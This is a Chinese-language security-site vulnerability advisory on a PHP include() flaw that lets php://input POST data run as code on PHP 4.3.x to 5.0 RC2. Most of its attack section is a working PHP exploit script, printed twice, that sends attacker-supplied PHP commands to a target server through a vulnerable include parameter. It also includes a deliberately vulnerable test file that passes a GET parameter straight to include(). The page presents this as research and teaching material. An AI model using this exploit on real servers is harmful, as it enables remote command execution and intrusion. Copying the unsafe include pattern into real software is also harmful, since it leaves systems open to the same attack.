频道栏目
首页 > 安全 > 网站安全 > 正文

PHP Input/Ouput Wrapper远程包含函数命令执行漏洞

2009-06-30 08:03:10           
收藏   我要投稿

 PHP Input/Ouput Wrapper远程包含函数命令执行漏洞 (Other,缺陷)

涉及程序:
PHP Input/Ouput Wrapper

描述:
PHP Input/Ouput Wrapper远程包含函数命令执行漏洞

详细:
PHP是一种流行的WEB服务器端编程语言。

PHP的include()函数存在设计缺陷,远程攻击者可以利用这个漏洞可能以WEB权限执行任意命令。

PHP的一个设计错误,当URI数据作为include()函数的一个参数时,攻击者可以提交POST PHP命令来执行。此问题影响PHP自身模块,虽然问题只有当应用程序使用用户提供的URI数据作为 include()函数时才发生。

成功利用此漏洞可以WEB权限执行任意命令。


受影响系统
PHP PHP 5.0 RC2
PHP PHP 5.0 RC1
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0

攻击方法:
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Slythers 提供了如下测试方法:

<form action="" methode="post" >
target server : <input type="text" name="server" ><br><br>
target file (including URI parameter used in include() call ex:"index.php?includeParam=") : <input type="text" name="file" ><br><br>
exec (enclose php commands between <? .. ?> tags): <input type="text" name="cmd" ><br><br>
<INPUT type="submit" value="send">
</form>

<?
if($cmd){
$message = "POST /".$file."php://input HTTP/1.1 ";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* ";
$message .= "Accept-Language: fr ";
$message .= "Content-Type: application/x-www-form-urlencoded ";
$message .= "Accept-Encoding: deflate ";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2) ";
$message .= "Host: ".$server." ";
$message .= "Content-length: ".strlen( $cmd )." ";
$message .= "Connection: Keep-Alive ";
$message .= "Cache-Control: no-cache ";
$message .= " ";
$message .= $cmd." ";
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
while(!feof($fd)) {
echo fgets($fd,1280);
}
fclose($fd);
}
?>

本地测试:

php环境:

PHP Version 5.2.6
--------------------------------------------include.php--------------------------------------------------------------------


--------------------------------------------include.php--------------------------------------------------------------------

<?php
$a=$_GET[a];
include($a);
?>

--------------------------------------------input.php--------------------------------------------------------------------

<form action="" methode="post" >
target server : <input type="text" name="server" ><br><br>
target file (including URI parameter used in include() call ex:"index.php?includeParam=") : <input type="text" name="file" ><br><br>
exec (enclose php commands between tags): <input type="text" name="cmd" ><br><br>
<INPUT type="submit" value="send">
</form>

<?
if($cmd){
$message = "POST /".$file."php://input HTTP/1.1 ";
$message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* ";
$message .= "Accept-Language: fr ";
$message .= "Content-Type: application/x-www-form-urlencoded ";
$message .= "Accept-Encoding: deflate ";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2) ";
$message .= "Host: ".$server." ";
$message .= "Content-length: ".strlen( $cmd )." ";
$message .= "Connection: Keep-Alive ";
$message .= "Cache-Control: no-cache ";
$message .= " ";
$message .= $cmd." ";
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
while(!feof($fd)) {
echo fgets($fd,1280);
}
fclose($fd);
}
?>

--------------------------------------------input.php--------------------------------------------------------------------


测试截图:

\


               图1.

\


 

相关TAG标签 函数 漏洞 命令
上一篇:EmpireCMS 5.1 多个垃圾注射漏洞
下一篇:WordPress 插件DM相册1.9.2 远程文件包含漏洞
相关文章
图文推荐
文章
推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站